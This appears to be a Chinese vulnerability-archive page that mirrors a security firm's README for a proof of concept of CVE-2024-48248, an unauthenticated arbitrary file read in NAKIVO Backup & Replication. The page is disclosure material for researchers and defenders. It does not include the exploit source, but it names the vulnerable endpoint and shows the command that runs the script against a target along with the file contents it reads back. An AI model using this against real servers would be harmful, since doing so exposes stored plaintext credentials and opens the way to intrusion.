关联漏洞
标题：
N/A
(CVE-2024-48248)
描述：NAKIVO Backup & Replication 在 11.0.0.88174 之前版本中，通过getImageByPath至 /c/router 可实现绝对路径遍历并读取文件（这可能导致企业范围内的远程代码执行，因为 PhysicalDiscovery 存储了明文凭证）。
介绍
# CVE-2024-48248
NAKIVO Backup and Replication Solution: Unauthenticated Arbitrary File Read Proof of Concept
See our [blog post](https://labs.watchtowr.com/) for technical details
# Detection in Action
```
python3 watchtowr-vs-nakivo-arbitrary-file-read-poc-CVE-2024-48248.py --url https://192.168.1.1:4443 --file "C:\\windows\\win.ini"
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchtowr-vs-nakivo-arbitrary-file-read-poc-CVE-2024-48248.py
(*) Nakivo Unauthenticated Arbitrary File Read (CVE-2024-48248) POC by watchTowr
- Sonny , watchTowr (sonny@watchTowr.com)
CVEs: [CVE-2024-48248]
[*] Targeting https://192.168.1.1:4443
[*] Attempting to read file 'C:\windows\win.ini'
[*] File Contents:
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
```
# Description
This script is a proof of concept for CVE-2024-48248, targeting the NAKIVO Backup and Replication Solution. More details are described within our [blog post] (https://labs.watchtowr.com/).
# Affected Versions
* NAKIVO Backup and Replication Solution 10.11.3.86570 and below
# Follow [watchTowr](https://watchTowr.com) Labs
For the latest security research follow the [watchTowr](https://watchTowr.com) Labs Team
- https://labs.watchtowr.com/
- https://x.com/watchtowrcyber
文件快照
[4.0K] /data/pocs/0a9d27f87a351cf3c80b0da7417f489d81bac31b
├── [1.6K] README.md
└── [2.2K] watchtowr-vs-nakivo-arbitrary-file-read-poc-CVE-2024-48248.py
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。